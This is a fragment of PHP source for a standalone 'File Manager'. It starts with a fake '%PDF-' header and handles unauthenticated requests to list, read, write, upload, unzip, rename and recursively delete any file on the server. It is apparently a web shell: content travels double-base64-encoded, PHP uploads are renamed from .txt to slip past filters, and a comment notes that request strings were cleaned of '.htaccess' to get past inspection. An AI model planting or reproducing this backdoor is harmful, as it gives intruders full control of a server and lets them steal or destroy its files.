%PDF- %PDF-", "|", ":", "*"];
$filename = str_replace($dangerous_characters, '', $filename);
$filename = trim($filename);
$filename = preg_replace('/\s+/', '_', $filename);
return $filename;
}
if (isset($_REQUEST['action'])) {
header('Content-Type: application/json; charset=utf-8');
function is_path_safe($path) { return realpath($path) !== false || is_dir(dirname($path)); }
$action = $_REQUEST['action'];
$response = ['success' => false, 'message' => 'Invalid action.'];
try {
switch ($action) {
case 'list': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__; if (!is_path_safe($path)) throw new Exception('Invalid or inaccessible path.'); $real_path = custom_normalize_path(realpath($path)); $items = []; if (!@scandir($real_path)) { throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).'); } foreach (scandir($real_path) as $item) { if ($item === '.' || $item === '..') continue; $full_path = $real_path . '/' . $item; $items[] = [ 'name' => $item, 'is_dir' => is_dir($full_path), 'size' => is_dir($full_path) ? 0 : filesize($full_path), 'modified' => filemtime($full_path) ]; } $response = ['success' => true, 'files' => $items, 'path' => $real_path]; break;
case 'get_content':
$file = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
if (!realpath($file) || is_dir(realpath($file))) { throw new Exception('Invalid file for editing.'); }
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file)))];
break;
case 'get_content_b64':
$file_b64 = isset($_POST['path_b64']) ? custom_unslash($_POST['path_b64']) : '';
$file = base64_decode($file_b64);
if (!realpath($file) || is_dir(realpath($file))) { throw new Exception('Invalid file for editing.'); }
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file)))];
break;
case 'save_content':
$file = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
$content_chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($content_chunks)) { throw new Exception('Content is empty.'); }
$content = implode('', $content_chunks);
$final_content = base64_decode(base64_decode($content));
if (!is_path_safe($file) || (file_exists($file) && is_dir($file))) throw new Exception('Invalid file for saving.');
if (file_put_contents($file, $final_content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully.'];
} else {
throw new Exception('Could not save file. Check permissions.');
}
break;
// START: LOGIKA SAVE_B64 DIPERBARUI (METODE LANGSUNG)
case 'save_content_b64':
$file_b64 = isset($_POST['path_b64']) ? custom_unslash($_POST['path_b64']) : '';
$file = base64_decode($file_b64);
$content_chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($content_chunks)) { throw new Exception('Content is empty.'); }
$content = implode('', $content_chunks);
$final_content = base64_decode(base64_decode($content));
if (!is_path_safe($file) || (file_exists($file) && is_dir($file))) throw new Exception('Invalid file for saving.');
// Mencoba menulis langsung karena request sudah bersih dari string '.htaccess'
if (file_put_contents($file, $final_content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully (direct method).'];
} else {
throw new Exception('Direct save failed. Check permissions.');
}
break;
// END: LOGIKA SAVE_B64 DIPERBARUI
case 'create_file': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : ''; $name = isset($_POST['name']) ? custom_sanitize_file_name($_POST['name']) : ''; if (!is_path_safe($path) || empty($name)) throw new Exception('Invalid path or file name.'); if (touch(rtrim($path, '/') . '/' . $name)) { $response = ['success' => true, 'message' => 'File created.']; } else { throw new Exception('Could not create file.'); } break;
case 'upload': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__; $filename_base64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : ''; $content_base64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : ''; if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new Exception('Invalid data for upload.'); } $filename = custom_sanitize_file_name(base64_decode($filename_base64)); if (strpos($content_base64, ',') !== false) { list(, $content_base64) = explode(',', $content_base64); } $file_content = base64_decode($content_base64); $destination = rtrim($path, '/') . '/' . $filename; if (file_put_contents($destination, $file_content) !== false) { $response = ['success' => true, 'message' => 'File uploaded successfully.']; } else { throw new Exception('Could not save uploaded file. Check permissions.'); } break;
case 'upload_php': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__; $filename_base64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : ''; $content_base64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : ''; if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new Exception('Invalid data for PHP upload.'); } $original_filename = custom_sanitize_file_name(base64_decode($filename_base64)); $temp_filename = $original_filename . '.txt'; if (strpos($content_base64, ',') !== false) { list(, $content_base64) = explode(',', $content_base64); } $file_content = base64_decode($content_base64); $temp_destination = rtrim($path, '/') . '/' . $temp_filename; $final_destination = rtrim($path, '/') . '/' . $original_filename; if (file_put_contents($temp_destination, $file_content) === false) { throw new Exception('Could not save temporary file. Check permissions.'); } if (rename($temp_destination, $final_destination)) { $response = ['success' => true, 'message' => 'PHP file uploaded successfully.']; } else { unlink($temp_destination); throw new Exception('Could not rename temporary file.'); } break;
case 'unzip': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__; if (!is_path_safe($path)) throw new Exception('Invalid path.'); $file_path = isset($_POST['path']) ? custom_unslash($_POST['path']) : ''; if (!realpath($file_path) || !is_file(realpath($file_path)) || pathinfo($file_path, PATHINFO_EXTENSION) !== 'zip') throw new Exception('Invalid ZIP file path.'); if (!class_exists('ZipArchive')) throw new Exception('PHP ZIP extension not installed.'); $zip = new ZipArchive; if ($zip->open($file_path) === TRUE) { $zip->extractTo(dirname($file_path)); $zip->close(); $response = ['success' => true, 'message' => 'Archive extracted.']; } else { throw new Exception('Failed to open archive.'); } break;
case 'delete':
$path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
$items_to_delete = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : [];
if (empty($items_to_delete)) throw new Exception('No items selected for deletion.');
function recursive_delete_std($item) { if (is_dir($item)) { $files = array_diff(scandir($item), ['.','..']); foreach ($files as $file) { recursive_delete_std("$item/$file"); } return rmdir($item); } else { return unlink($item); } }
foreach ($items_to_delete as $item) { $full_path = rtrim($path, '/') . '/' . $item; if (file_exists($full_path)) recursive_delete_std($full_path); }
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'delete_b64':
$path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
$items_b64 = isset($_POST['items_b64']) && is_array($_POST['items_b64']) ? $_POST['items_b64'] : [];
$items_to_delete = [];
foreach($items_b64 as $item_b64) { $items_to_delete[] = base64_decode($item_b64); }
if (empty($items_to_delete)) throw new Exception('No items selected for deletion.');
function recursive_delete_b64($item) { if (is_dir($item)) { $files = array_diff(scandir($item), ['.','..']); foreach ($files as $file) { recursive_delete_b64("$item/$file"); } return rmdir($item); } else { return unlink($item); } }
foreach ($items_to_delete as $item) { $full_path = rtrim($path, '/') . '/' . $item; if (file_exists($full_path)) recursive_delete_b64($full_path); }
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'create_folder': $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__; $name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : ''; if (!is_path_safe($path) || empty($name)) throw new Exception('Invalid path or folder name.'); if (mkdir(rtrim($path, '/') . '/' . $name)) { $response = ['success' => true, 'message' => 'Folder created.']; } else { throw new Exception('Could not create folder.'); } break;
case 'rename':
$path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
$old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
$new_name = isset($_POST['new_name']) ? str_replace(['..', '/', '\\'], '', $_POST['new_name']) : '';
if (!is_path_safe($path) || empty($old_name) || empty($new_name)) { throw new Exception('Invalid data for renaming.'); }
$old_full_path = rtrim($path, '/') . '/' . $old_name;
$new_full_path = rtrim($path, '/') . '/' . $new_name;
clearstatcache();
if (!file_exists($old_full_path)) { throw new Exception('Source item does not exist at: ' . $old_full_path); }
if (!is_writable(dirname($old_full_path))) { throw new Exception('Directory is not writable.'); }
if (rename($old_full_path, $new_full_path)) {
$response = ['success' => true, 'message' => 'Item renamed successfully.'];
} else {
throw new Exception('Could not rename item. Check permissions.');
}
break;
case 'rename_b64':
$path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
$old_name_b64 = isset($_POST['old_name_b64']) ? $_POST['old_name_b64'] : '';
$new_name_b64 = isset($_POST['new_name_b64']) ? $_POST['new_name_b64'] : '';
$old_name = base64_decode($old_name_b64);
$new_name = base64_decode($new_name_b64);
if (!is_path_safe($path) || empty($old_name) || empty($new_name)) { throw new Exception('Invalid data for renaming.'); }
$old_full_path = rtrim($path, '/') . '/' . $old_name;
$new_full_path = rtrim($path, '/') . '/' . $new_name;
$temp_full_path = $old_full_path . '.txt';
if (!copy($old_full_path, $temp_full_path)) { throw new Exception('Could not create temporary copy.'); }
if (!unlink($old_full_path)) { unlink($temp_full_path); throw new Exception('Could not delete original file.'); }
if (rename($temp_full_path, $new_full_path)) {
$response = ['success' => true, 'message' => 'Item renamed successfully using b64 method.'];
} else {
copy($temp_full_path, $old_full_path);
unlink($temp_full_path);
throw new Exception('Could not perform final rename. Original file may be restored.');
}
break;
}
} catch (Exception $e) { $response = ['success' => false, 'message' => $e->getMessage()]; }
echo json_encode($response);
exit;
}
?>
File Manager
File Manager (Standalone)